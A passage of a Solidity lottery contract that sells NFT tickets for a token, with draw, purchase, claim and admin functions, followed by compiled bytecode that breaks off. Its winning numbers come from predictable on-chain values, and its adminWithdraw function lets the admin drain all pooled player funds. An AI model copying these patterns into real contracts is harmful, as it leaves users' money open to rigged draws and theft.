uint256(_structHash); assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} winningNumbers[2]=uint8(_randomNumber); // 4 _structHash = keccak256( abi.encode( _blockhash, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} winningNumbers[3]=uint8(_randomNumber); historyNumbers[issueIndex] = winningNumbers; historyAmount[issueIndex] = calculateMatchingRewardAmount(); drawTimes[issueIndex] = block.timestamp; //unmatched amount if(historyAmount[issueIndex][0]==0){ nomatch[issueIndex] = 0; } else { nomatch[issueIndex] = ((historyAmount[issueIndex][0].mul(allocation[0])-historyAmount[issueIndex][1]).div(historyAmount[issueIndex][0])+ (historyAmount[issueIndex][0].mul(allocation[1])-historyAmount[issueIndex][2]).div(historyAmount[issueIndex][0])+ (historyAmount[issueIndex][0].mul(allocation[2])-historyAmount[issueIndex][3]).div(historyAmount[issueIndex][0])); } //matched number remainBalance = getTotalRewards(issueIndex).mul(nomatch[issueIndex]).mul(100).div(10000); drawingPhase = false; emit Drawing(issueIndex, winningNumbers); } function internalBuy(uint256 _price, uint8[4] memory _numbers) internal { require (!drawed(), 'drawed, can not buy now'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed the maximum'); } uint256 tokenId = lotteryNFT.newLotteryItem(address(this), _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; emit Buy(address(this), tokenId); } function buy(uint256 _price, uint8[4] memory _numbers) external { require(!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); for (uint i = 0; i < 4; i++) { require (_numbers[i] <= maxNumber, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers, _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; uint64[keyLengthForEachBuy] memory userNumberIndex = generateNumberIndexKey(_numbers); for (uint i = 0; i < keyLengthForEachBuy; i++) { userBuyAmountSum[issueIndex][userNumberIndex[i]]=userBuyAmountSum[issueIndex][userNumberIndex[i]].add(_price); } atari.safeTransferFrom(address(msg.sender), address(this), _price); emit Buy(msg.sender, tokenId); } function multiBuy(uint256 _price, uint8[4][] memory _numbers) external { require (!drawed(), 'drawed, can not buy now'); require(!drawingPhase, 'drawing, can not buy now'); require (_price >= minPrice, 'price must above minPrice'); uint256 totalPrice = 0; for (uint i = 0; i < _numbers.length; i++) { for (uint j = 0; j < 4; j++) { require (_numbers[i][j] <= maxNumber && _numbers[i][j] > 0, 'exceed number scope'); } uint256 tokenId = lotteryNFT.newLotteryItem(msg.sender, _numbers[i], _price, issueIndex); lotteryInfo[issueIndex].push(tokenId); if (userInfo[msg.sender].length == 0) { totalAddresses = totalAddresses + 1; } userInfo[msg.sender].push(tokenId); totalAmount = totalAmount.add(_price); lastTimestamp = block.timestamp; totalPrice = totalPrice.add(_price); uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(_numbers[i]); for (uint k = 0; k < keyLengthForEachBuy; k++) { userBuyAmountSum[issueIndex][numberIndexKey[k]]=userBuyAmountSum[issueIndex][numberIndexKey[k]].add(_price); } } atari.safeTransferFrom(address(msg.sender), address(this), totalPrice); emit MultiBuy(msg.sender, totalPrice); } function claimReward(uint256 _tokenId) external { require(msg.sender == lotteryNFT.ownerOf(_tokenId), "not from owner"); require (!lotteryNFT.getClaimStatus(_tokenId), "claimed"); uint256 reward = getRewardView(_tokenId); lotteryNFT.claimReward(_tokenId); if(reward>0) { atari.safeTransfer(address(msg.sender), reward); } emit Claim(msg.sender, _tokenId, reward); } function multiClaim(uint256[] memory _tickets) external { uint256 totalReward = 0; for (uint i = 0; i < _tickets.length; i++) { require (msg.sender == lotteryNFT.ownerOf(_tickets[i]), "not from owner"); require (!lotteryNFT.getClaimStatus(_tickets[i]), "claimed"); uint256 reward = getRewardView(_tickets[i]); if(reward>0) { totalReward = reward.add(totalReward); } } lotteryNFT.multiClaimReward(_tickets); if(totalReward>0) { atari.safeTransfer(address(msg.sender), totalReward); } emit MultiClaim(msg.sender, totalReward); } function generateNumberIndexKey(uint8[4] memory number) public pure returns (uint64[keyLengthForEachBuy] memory) { uint64[4] memory tempNumber; tempNumber[0]=uint64(number[0]); tempNumber[1]=uint64(number[1]); tempNumber[2]=uint64(number[2]); tempNumber[3]=uint64(number[3]); uint64[keyLengthForEachBuy] memory result; result[0] = tempNumber[0]*256*256*256*256*256*256 + 1*256*256*256*256*256 + tempNumber[1]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; result[1] = tempNumber[0]*256*256*256*256 + 1*256*256*256 + tempNumber[1]*256*256 + 2*256+ tempNumber[2]; result[2] = tempNumber[0]*256*256*256*256 + 1*256*256*256 + tempNumber[1]*256*256 + 3*256+ tempNumber[3]; result[3] = tempNumber[0]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; result[4] = 1*256*256*256*256*256 + tempNumber[1]*256*256*256*256 + 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; result[5] = tempNumber[0]*256*256 + 1*256+ tempNumber[1]; result[6] = tempNumber[0]*256*256 + 2*256+ tempNumber[2]; result[7] = tempNumber[0]*256*256 + 3*256+ tempNumber[3]; result[8] = 1*256*256*256 + tempNumber[1]*256*256 + 2*256 + tempNumber[2]; result[9] = 1*256*256*256 + tempNumber[1]*256*256 + 3*256 + tempNumber[3]; result[10] = 2*256*256*256 + tempNumber[2]*256*256 + 3*256 + tempNumber[3]; return result; } function calculateMatchingRewardAmount() internal view returns (uint256[4] memory) { uint64[keyLengthForEachBuy] memory numberIndexKey = generateNumberIndexKey(winningNumbers); uint256 totalAmout1 = userBuyAmountSum[issueIndex][numberIndexKey[0]]; uint256 sumForTotalAmout2 = userBuyAmountSum[issueIndex][numberIndexKey[1]]; sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[2]]); sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[3]]); sumForTotalAmout2 = sumForTotalAmout2.add(userBuyAmountSum[issueIndex][numberIndexKey[4]]); uint256 totalAmout2 = sumForTotalAmout2.sub(totalAmout1.mul(4)); uint256 sumForTotalAmout3 = userBuyAmountSum[issueIndex][numberIndexKey[5]]; sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[6]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[7]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[8]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[9]]); sumForTotalAmout3 = sumForTotalAmout3.add(userBuyAmountSum[issueIndex][numberIndexKey[10]]); uint256 totalAmout3 = sumForTotalAmout3.add(totalAmout1.mul(6)).sub(sumForTotalAmout2.mul(3)); return [totalAmount, totalAmout1, totalAmout2, totalAmout3]; } function getMatchingRewardAmount(uint256 _issueIndex, uint256 _matchingNumber) public view returns (uint256) { return historyAmount[_issueIndex][5 - _matchingNumber]; } function getTotalRewards(uint256 _issueIndex) public view returns(uint256) { require (_issueIndex <= issueIndex, '_issueIndex <= issueIndex'); if(!drawed() && _issueIndex == issueIndex) { return totalAmount; } return historyAmount[_issueIndex][0]; } function getRewardView(uint256 _tokenId) public view returns(uint256) { uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tokenId); uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tokenId); uint8[4] memory _winningNumbers = historyNumbers[_issueIndex]; require(_winningNumbers[0] != 0, "not drawed"); uint256 matchingNumber = 0; for (uint i = 0; i < lotteryNumbers.length; i++) { if (_winningNumbers[i] == lotteryNumbers[i]) { matchingNumber= matchingNumber +1; } } uint256 reward = 0; if (matchingNumber > 1) { uint256 amount = lotteryNFT.getLotteryAmount(_tokenId); uint256 poolAmount = getTotalRewards(_issueIndex).mul(allocation[4-matchingNumber]).div(100); reward = amount.mul(1e12).div(getMatchingRewardAmount(_issueIndex, matchingNumber)).mul(poolAmount); } return reward.div(1e12); } function getMatchingNumber (uint256 _tokenId) internal view returns(uint256) { uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tokenId); uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tokenId); uint8[4] memory _winningNumbers = historyNumbers[_issueIndex]; require(_winningNumbers[0] != 0, "not drawed"); uint256 matchingNumber = 0; for (uint i = 0; i < lotteryNumbers.length; i++) { if (_winningNumbers[i] == lotteryNumbers[i]) { matchingNumber= matchingNumber +1; } } return matchingNumber; } // Update admin address by the previous dev. function setAdmin(address _adminAddress) public onlyOwner { adminAddress = _adminAddress; } // Withdraw without caring about rewards. EMERGENCY ONLY. function adminWithdraw(uint256 _amount) public onlyAdmin { atari.safeTransfer(address(msg.sender), _amount); emit DevWithdraw(msg.sender, _amount); } //safe balance withdraw function adminWithdrawSafe() public onlyAdmin { uint256 _amount = atari.balanceOf(address(this)).sub(getTotalRewards(issueIndex)); atari.safeTransfer(address(msg.sender),_amount); emit DevWithdraw(msg.sender, _amount); } // Set the minimum price for one ticket function setMinPrice(uint256 _price) external onlyAdmin { minPrice = _price; } // Set the minimum price for one ticket function setMaxNumber(uint8 _maxNumber) external onlyAdmin { maxNumber = _maxNumber; } // Set the allocation for one reward function setAllocation(uint8 _allcation1, uint8 _allcation2, uint8 _allcation3) external onlyAdmin { allocation = [_allcation1, _allcation2, _allcation3]; } //function get userInfo function getUserInfo(address user) external view returns(uint256[] memory _userinfo){ _userinfo = userInfo[user]; } function getHistoryNumbers(uint256 _issueIndex) external view returns(uint8[4] memory _historyNumbers){ _historyNumbers = historyNumbers[_issueIndex]; } function getDrawTime(uint256 _issueIndex) external view returns(uint256 drawTime){ drawTime = drawTimes[_issueIndex]; } function getHistoryAmounts(uint256 _issueIndex) external view returns(uint256[4] memory _historyAmount){ _historyAmount[0] = historyAmount[_issueIndex][0]; _historyAmount[1] = historyAmount[_issueIndex][1]; _historyAmount[2] = historyAmount[_issueIndex][2]; _historyAmount[3] = historyAmount[_issueIndex][3]; } } contract multicall{ Lottery public lottery; LotteryNFT public lotteryNFT; constructor(Lottery _lottery, LotteryNFT _lotteryNFT) public { lottery = _lottery; lotteryNFT = _lotteryNFT; } function setPath(Lottery _lottery, LotteryNFT _lotteryNFT) external { lottery = _lottery; lotteryNFT = _lotteryNFT; } function ticketDatas(uint256[] memory _tickets)external view returns(uint256[] memory rewardAmounts,bool[] memory claimStatus,bool[] memory drawStatus,uint8[][] memory ticketNumber, uint256[] memory _drawTimes){ rewardAmounts= new uint256[](_tickets.length); claimStatus = new bool[](_tickets.length); drawStatus = new bool[](_tickets.length); ticketNumber =new uint8[][](_tickets.length); _drawTimes = new uint256[](_tickets.length); for (uint i = 0; i < _tickets.length; i++) { uint256 _issueIndex = lotteryNFT.getLotteryIssueIndex(_tickets[i]); uint256 _drawTime = lottery.getDrawTime(_issueIndex); _drawTimes[i] = _drawTime; // ticket number uint8[4] memory lotteryNumbers = lotteryNFT.getLotteryNumbers(_tickets[i]); uint8[] memory temp = new uint8[](4); temp[0]=lotteryNumbers[0]; temp[1]=lotteryNumbers[1]; temp[2]=lotteryNumbers[2]; temp[3]=lotteryNumbers[3]; ticketNumber[i] = temp; //winningNumbers uint8[4] memory _winningNumbers =lottery.getHistoryNumbers(_issueIndex); if(_winningNumbers[0] == 0) { drawStatus[i] = false; rewardAmounts[i] = 0; } else { drawStatus[i]=true; rewardAmounts[i] = lottery.getRewardView(_tickets[i]); } claimStatus[i] = lotteryNFT.getClaimStatus(_tickets[i]); } } function historyDatas(uint256[] memory _issueIndexs) external view returns(uint8[][] memory _historyNumbers ,uint256[][] memory _historyAmount, uint256[] memory _drawTimes) { _historyNumbers = new uint8[][](_issueIndexs.length); for (uint i = 0; i < _issueIndexs.length; i++) { uint8[4] memory _winningNumbers =lottery.getHistoryNumbers(_issueIndexs[i]); uint8[] memory temp = new uint8[](4); temp[0]=_winningNumbers[0]; temp[1]=_winningNumbers[1]; temp[2]=_winningNumbers[2]; temp[3]=_winningNumbers[3]; _historyNumbers[i]=temp; } _drawTimes = new uint256[](_issueIndexs.length); for (uint i = 0; i < _issueIndexs.length; i++) { uint256 _drawTime = lottery.getDrawTime(_issueIndexs[i]); _drawTimes[i] = _drawTime; } _historyAmount = new uint256[][](_issueIndexs.length); for (uint i = 0; i < _issueIndexs.length; i++) { uint256 issueIndex = lottery.issueIndex(); if(_issueIndexs[i]>issueIndex-1){ uint256[] memory temp = new uint256[](4); temp[0]=0; temp[1]=0; temp[2]=0; temp[3]=0; _historyAmount[i]=temp; } else { uint256[4] memory _winningAmounts =lottery.getHistoryAmounts(_issueIndexs[i]); uint256[] memory temp = new uint256[](4); temp[0]=_winningAmounts[0]; temp[1]=_winningAmounts[1]; temp[2]=_winningAmounts[2]; temp[3]=_winningAmounts[3]; _historyAmount[i]=temp; } } } }
0x608060405234801561001057600080fd5b50600436106102d65760003560e01c80636a28f82811610182578063ae169a50116100e9578063d826f88f116100a2578063e45be8eb1161007c578063e45be8eb146105f2578063e8adfbc7146105fa578063f2fde38b14610602578063fc6f946814610615576102d6565b8063d826f88f146105da578063dacb4c61146105e2578063e1345416146105ea576102d6565b8063ae169a5014610573578063c39f49c014610586578063c9f6707e14610599578063cfad5277146105ac578063d1f7dbcf146105b4578063d411b0fa146105c7576102d6565b806385dcdf1b1161013b57806385dcdf1b146105085780638a874147146105285780638da5cb5b146105305780639e72ba4814610545578063a3e227a91461054d578063a42206c914610560576102d6565b80636a28f828146104b75780636b01434f146104bf578063704b6c02146104c7578063715018a6146104da5780637c5b4a37146104e2578063850bad94146104f5576102d6565b806338a10ef71161024157806359bcbd68116101fa5780635ea8cd12116101d45780635ea8cd12146104695780636386c1c71461047c5780636575243f1461049c578063685511ba146104af576102d6565b806359bcbd681461043b5780635a355f401461044e5780635c17623a14610456576102d6565b806338a10ef7146103b85780633a4f6999146103d8578063438209f5146103ed5780634e45f095146104025780634ed73d2814610415578063552164ee14610428576102d6565b80631f167829116102935780631f1678291461035c5780631ff688661461036457806321ce919d1461036c5780632bdff8511461037f5780632f506b2014610392578063324a5562146103a5576102d6565b806309968acf146102db5780630be53e611461030457806311e420651461032457806314c20d571461033957806319d8ac611461034c5780631a39d8ef14610354575b600080fd5b6102ee6102e9366004613043565b61061d565b6040516102fb91906138cd565b60405180910390f35b610317610312366004613043565b61062f565b6040516102fb91906132c9565b610337610332366004612fcb565b6106e7565b005b61033761034736600461311a565b61084e565b6102ee610b2e565b6102ee610b34565b6102ee610b3a565b610337610b40565b6102ee61037a366004612e61565b610bb9565b61033761038d366004613073565b610be7565b6102ee6103a0366004613167565b610f2c565b6103376103b33660046131a1565b610f49565b6103cb6103c6366004613043565b610f93565b6040516102fb9190613367565b6103e0610ff9565b6040516102fb91906138e4565b6103f5611009565b6040516102fb91906133a8565b6103e0610410366004613043565b611012565b610337610423366004612e8c565b611039565b6102ee610436366004613043565b6112c5565b6103e0610449366004613146565b611339565b6102ee61136f565b6103376104643660046131bd565b611375565b610337610477366004613043565b6113d5565b61048f61048a366004612e29565b611404565b6040516102fb91906132f1565b6102ee6104aa366004613146565b61146f565b6102ee611488565b6102ee61148e565b6102ee611494565b6103376104d5366004612e29565b61149a565b6103376114e6565b6103376104f0366004613043565b61155a565b6103e0610503366004613043565b6115df565b61051b610516366004612f20565b6115ec565b6040516102fb9190613335565b610337611773565b61053861184d565b6040516102fb9190613249565b6102ee61185c565b6102ee61055b366004613043565b611862565b61033761056e366004613043565b611874565b610337610581366004613043565b611d42565b6102ee610594366004613146565b611f58565b6102ee6105a7366004613043565b611f71565b6102ee611f83565b6102ee6105c2366004613146565b611f89565b6102ee6105d5366004613043565b611fbb565b6103376122b0565b6105386123e2565b6103f56123f1565b6102ee6123fc565b610538612402565b610337610610366004612e29565b612411565b6105386124bc565b6000908152600b602052604090205490565b610637612c4e565b6000828152600960205260408120805490919061065057fe5b600091825260208083209190910154835283825260099052604090208054600190811061067957fe5b6000918252602080832090910154838201528382526009905260409020805460029081106106a357fe5b600091825260208083209091015460408085019190915284835260099091529020805460039081106106d157fe5b6000918252602090912001546060820152919050565b600054600160a81b900460ff168061070257506107026124cb565b806107175750600054600160a01b900460ff16155b61073c5760405162461bcd60e51b81526004016107339061368c565b60405180910390fd5b600054600160a81b900460ff16158015610773576000805460ff60a01b1960ff60a81b19909116600160a81b1716600160a01b1790555b600280546001600160a01b03199081166001600160a01b038a81169190911790925560038054821689841617815560058890556004805460ff60a01b1916600160a01b60ff8a16021790921692851692909217905542601155604080516060810182526046815260146020820152600a918101919091526107f79160019190612c6c565b5062015180601481905561012c601555601154610813916124d1565b601381905560155461082591906124fd565b6012556108318361253f565b8015610845576000805460ff60a81b191690555b50505050505050565b6108566123f1565b156108735760405162461bcd60e51b815260040161073390613752565b60175460ff16156108965760405162461bcd60e51b81526004016107339061362e565b6005548210156108b85760405162461bcd60e51b8152600401610733906136da565b60005b600481101561090d5760048054600160a01b900460ff16908390839081106108df57fe5b602002015160ff1611156109055760405162461bcd60e51b81526004016107339061345b565b6001016108bb565b50600354600e54604051620dce4760ea1b81526000926001600160a01b0316916337391c00916109459133918791899160040161325d565b602060405180830381600087803b15801561095f57600080fd5b505af1158015610973573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610997919061305b565b600e546000908152600860209081526040808320805460018101825590845282842001849055338352600d9091529020549091506109d957600f805460010190555b336000908152600d6020908152604082208054600181018255908352912001819055601054610a0890846124d1565b60105542601155610a17612cff565b610a20836115ec565b905060005b600b811015610ace57600e546000908152600c60205260408120610a86918791908585600b8110610a5257fe5b60200201516001600160401b03166001600160401b03168152602001908152602001600020546124d190919063ffffffff16565b600e546000908152600c60205260408120908484600b8110610aa457fe5b602090810291909101516001600160401b0316825281019190915260400160002055600101610a25565b50600254610ae7906001600160a01b031633308761258a565b336001600160a01b03167fe3d4187f6ca4248660cc0ac8b8056515bac4a8132be2eca31d6d0cc170722a7e83604051610b2091906138cd565b60405180910390a250505050565b60115481565b60105481565b60135481565b60125442101580610b695750610b5461184d565b6001600160a01b0316336001600160a01b0316145b610b855760405162461bcd60e51b8152600401610733906137e3565b610b8d6123f1565b15610baa5760405162461bcd60e51b8152600401610733906138ad565b6017805460ff19166001179055565b600d6020528160005260406000208181548110610bd257fe5b90600052602060002001600091509150505481565b610bef6123f1565b15610c0c5760405162461bcd60e51b815260040161073390613752565b60175460ff1615610c2f5760405162461bcd60e51b81526004016107339061362e565b600554821015610c515760405162461bcd60e51b8152600401610733906136da565b6000805b8251811015610ecd5760005b6004811015610cfc57600460149054906101000a900460ff1660ff16848381518110610c8957fe5b60200260200101518260048110610c9c57fe5b602002015160ff1611158015610cd857506000848381518110610cbb57fe5b60200260200101518260048110610cce57fe5b602002015160ff16115b610cf45760405162461bcd60e51b81526004016107339061345b565b600101610c61565b5060035483516000916001600160a01b0316906337391c00903390879086908110610d2357fe5b602002602001015188600e546040518563ffffffff1660e01b8152600401610d4e949392919061325d565b602060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da0919061305b565b600e546000908152600860209081526040808320805460018101825590845282842001849055338352600d909152902054909150610de257600f805460010190555b336000908152600d6020908152604082208054600181018255908352912001819055601054610e1190866124d1565b60105542601155610e2283866124d1565b9250610e2c612cff565b610e48858481518110610e3b57fe5b60200260200101516115ec565b905060005b600b811015610ec257600e546000908152600c60205260408120610e7a918991908585600b8110610a5257fe5b600e546000908152600c60205260408120908484600b8110610e9857fe5b602090810291909101516001600160401b0316825281019190915260400160002055600101610e4d565b505050600101610c55565b50600254610ee6906001600160a01b031633308461258a565b336001600160a01b03167f96c35ad1cc1743f26cb87980c38042de8082358ec6d171a7986d6e11dddfe85782604051610f1f91906138cd565b60405180910390a2505050565b600c60209081526000928352604080842090915290825290205481565b6004546001600160a01b03163314610f735760405162461bcd60e51b8152600401610733906137be565b6004805460ff909216600160a01b0260ff60a01b19909216919091179055565b610f9b612c4e565b600082815260076020526040808220815160808101928390529290916004918390855b825461010083900a900460ff16815260206001928301818104948501949093039092029101808411610fbe5790505b50505050509050919050565b600454600160a01b900460ff1681565b60175460ff1681565b6016816004811061101f57fe5b60209182820401919006915054906101000a900460ff1681565b6000805b82518110156111fd5760035483516001600160a01b0390911690636352211e9085908490811061106957fe5b60200260200101516040518263ffffffff1660e01b815260040161108d91906138cd565b60206040518083038186803b1580156110a557600080fd5b505afa1580156110b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dd9190612e45565b6001600160a01b0316336001600160a01b03161461110d5760405162461bcd60e51b8152600401610733906135ae565b60035483516001600160a01b03909116906336dbd2f99085908490811061113057fe5b60200260200101516040518263ffffffff1660e01b815260040161115491906138cd565b60206040518083038186803b15801561116c57600080fd5b505afa158015611180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a49190612fab565b156111c15760405162461bcd60e51b81526004016107339061360d565b60006111df8483815181106111d257fe5b6020026020010151611fbb565b905080156111f4576111f181846124d1565b92505b5060010161103d565b50600354604051637431035560e01b81526001600160a01b039091169063743103559061122e9085906004016132f1565b600060405180830381600087803b15801561124857600080fd5b505af115801561125c573d6000803e3d6000fd5b50505050600081111561128057600254611280906001600160a01b031633836125e2565b336001600160a01b03167f6606374655494f5c0e2d6f392656e9777afd9ac5f61527d1bcad50b7e918a03e826040516112b991906138cd565b60405180910390a25050565b6000600e548211156112e95760405162461bcd60e51b815260040161073390613488565b6112f16123f1565b1580156112ff5750600e5482145b1561130d5750601054611334565b6000828152600960205260408120805490919061132657fe5b906000526020600020015490505b919050565b6007602052816000526040600020816004811061135257fe5b602081049091015460ff601f9092166101000a9004169150829050565b60125481565b6004546001600160a01b0316331461139f5760405162461bcd60e51b8152600401610733906137be565b6040805160608101825260ff808616825284811660208301528316918101919091526113cf906001906003612c6c565b50505050565b6004546001600160a01b031633146113ff5760405162461bcd60e51b8152600401610733906137be565b600555565b6001600160a01b0381166000908152600d6020908152604091829020805483518184028101840190945280845260609392830182828015610fed57602002820191906000526020600020905b8154815260200190600101908083116114505750505050509050919050565b60086020528160005260406000208181548110610bd257fe5b60065481565b600e5481565b60145481565b6000546001600160a01b031633146114c45760405162461bcd60e51b815260040161073390613789565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146115105760405162461bcd60e51b815260040161073390613789565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6004546001600160a01b031633146115845760405162461bcd60e51b8152600401610733906137be565b60025461159b906001600160a01b031633836125e2565b336001600160a01b03167f050d1c64cc22ce461b9bc14f6b73852566da02b03c155242bc63169d1fec42aa826040516115d491906138cd565b60405180910390a250565b6001816003811061101f57fe5b6115f4612cff565b6115fc612c4e565b825160ff908116825260208085015182169083015260408085015182169083015260608085015190911690820152611632612cff565b6060828101805160408086018051602080890180518a516201000094850264010000000092830266010000000000009092029190910101909601650100020003009081016001600160401b039081168b52855183518d51908702908a02010163010002009081018216948c0194909452885183518d51908702908a02010163010003009081018216978c0197909752885186518d51908702908a020101630200030090810182169a8c019a909a5288518651845190870299029890980190970101861660808a015280518a51840201610100908101871660a08b015284518b5185020161020001871660c08b015287519a518402909a0161030001861660e08a015283518151840201909101851698880198909852845197518102909701909101821661012086015291519151909402010190911661014082015292915050565b6004546001600160a01b0316331461179d5760405162461bcd60e51b8152600401610733906137be565b60006118336117ad600e546112c5565b6002546040516370a0823160e01b81526001600160a01b03909116906370a08231906117dd903090600401613249565b60206040518083038186803b1580156117f557600080fd5b505afa158015611809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061182d919061305b565b906124fd565b60025490915061159b906001600160a01b031633836125e2565b6000546001600160a01b031690565b60155481565b600a6020526000908152604090205481565b6013544210158061189d575061188861184d565b6001600160a01b0316336001600160a01b0316145b6118b95760405162461bcd60e51b815260040161073390613665565b6118c16123f1565b156118de5760405162461bcd60e51b815260040161073390613417565b60175460ff166119005760405162461bcd60e51b8152600401610733906135d6565b6004546000908190600160a01b900460ff16436000190140825b600a8110156119375761192e600e546112c5565b5060010161191a565b5060005a905081600f54828860405160200161195694939291906133c9565b60408051601f198184030181529082905280516020918201206016805460ff191687830660010160ff811691909117909155601054919850965061199e9285928591016133b3565b60408051601f198184030181529082905280516020918201206016805460ff8884066001019081166101000261ff00199092169190911790915560115491985096506119f092859285918b91016133c9565b60408051808303601f190181529082905280516020918201206016805460ff600189850601908116620100000262ff000019909216919091179091559097509550611a4191849184918a91016133b3565b60408051808303601f1901815291815281516020928301206016805460ff60018985060190811663010000000263ff00000019909216919091178255600e546000908152600790955292909320909750909550611a9f916004612d1e565b50611aa8612606565b600e546000908152600960205260409020611ac4916004612d51565b50600e80546000908152600b6020908152604080832042905592548252600990529081208054909190611af357fe5b906000526020600020015460001415611b1d57600e546000908152600a6020526040812055611cb6565b600e5460009081526009602052604081208054611bd59290611b3b57fe5b906000526020600020015460096000600e548152602001908152602001600020600381548110611b6757fe5b600091825260209091200154611bce600160025b602091828204019190069054906101000a900460ff1660ff1660096000600e548152602001908152602001600020600081548110611bb557fe5b906000526020600020015461286390919063ffffffff16565b039061289d565b600e5460009081526009602052604081208054611c369290611bf357fe5b906000526020600020015460096000600e548152602001908152602001600020600281548110611c1f57fe5b600091825260209091200154611bce600180611b7b565b600e5460009081526009602052604081208054611c9c9290611c5457fe5b906000526020600020015460096000600e548152602001908152602001600020600181548110611c8057fe5b9060005260206000200154611bce6001600060038110611b7b57fe5b600e546000908152600a6020526040902091019190910190555b611cf1612710611ceb6064611ce5600a6000600e54815260200190815260200160002054611ce5600e546112c5565b90612863565b9061289d565b6006556017805460ff19169055600e546040517fa13e935b188993737b3009d62bd916dcbe9e82d8236d75981eeadf26a1460d3d90611d3290601690613375565b60405180910390a2505050505050565b6003546040516331a9108f60e11b81526001600160a01b0390911690636352211e90611d729084906004016138cd565b60206040518083038186803b158015611d8a57600080fd5b505afa158015611d9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dc29190612e45565b6001600160a01b0316336001600160a01b031614611df25760405162461bcd60e51b8152600401610733906135ae565b6003546040516336dbd2f960e01b81526001600160a01b03909116906336dbd2f990611e229084906004016138cd565b60206040518083038186803b158015611e3a57600080fd5b505afa158015611e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e729190612fab565b15611e8f5760405162461bcd60e51b81526004016107339061360d565b6000611e9a82611fbb565b600354604051630ae169a560e41b81529192506001600160a01b03169063ae169a5090611ecb9085906004016138cd565b600060405180830381600087803b158015611ee557600080fd5b505af1158015611ef9573d6000803e3d6000fd5b505050506000811115611f1d57600254611f1d906001600160a01b031633836125e2565b336001600160a01b03167f34fcbac0073d7c3d388e51312faf357774904998eeb8fca628b9e6f65ee1cbf783836040516112b99291906138d6565b60096020528160005260406000208181548110610bd257fe5b600b6020526000908152604090205481565b600f5481565b600082815260096020526040812080546005849003908110611fa757fe5b906000526020600020015490505b92915050565b600354604051631bf1e00f60e01b815260009182916001600160a01b0390911690631bf1e00f90611ff09086906004016138cd565b60206040518083038186803b15801561200857600080fd5b505afa15801561201c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612040919061305b565b905061204a612c4e565b600354604051635f8e26a760e01b81526001600160a01b0390911690635f8e26a79061207a9087906004016138cd565b60806040518083038186803b15801561209257600080fd5b505afa1580156120a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ca9190612f3b565b90506120d4612c4e565b600083815260076020526040808220815160808101928390529290916004918390855b825461010083900a900460ff168152602060019283018181049485019490930390920291018084116120f7579050505050505090508060006004811061213957fe5b602002015160ff1661215d5760405162461bcd60e51b815260040161073390613437565b6000805b60048110156121a75783816004811061217657fe5b602002015160ff1683826004811061218a57fe5b602002015160ff16141561219f578160010191505b600101612161565b506000600182111561229657600354604051637bd0606560e11b81526000916001600160a01b03169063f7a0c0ca906121e4908b906004016138cd565b60206040518083038186803b1580156121fc57600080fd5b505afa158015612210573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612234919061305b565b9050600061226f6064611ceb6001876004036003811061225057fe5b602081049091015460ff601f9092166101000a900416611ce58b6112c5565b905061229181611ce56122828a88611f89565b611ceb8664e8d4a51000612863565b925050505b6122a58164e8d4a5100061289d565b979650505050505050565b6004546001600160a01b031633146122da5760405162461bcd60e51b8152600401610733906137be565b6122e26123f1565b6122fe5760405162461bcd60e51b815260040161073390613842565b426011556000600f8190556010556016805463ffffffff191690556017805460ff19169055600e805460010190556006541561238b5760065460408051608081019182905261238b9291601890600490826000855b825461010083900a900460ff1681526020600192830181810494850194909303909202910180841161235357905050505050506128df565b600060065560145460115461239f916124d1565b60138190556015546123b191906124fd565b601255600e546040517f01c3cbb0d62726ab09d163873ebf9aed99dd8dc08e57bc938f458132fd178cf690600090a2565b6002546001600160a01b031681565b60165460ff16151590565b60055481565b6003546001600160a01b031681565b6000546001600160a01b0316331461243b5760405162461bcd60e51b815260040161073390613789565b6001600160a01b0381166124615760405162461bcd60e51b8152600401610733906134bf565b600080546040516001600160a01b03808516939216917f8be0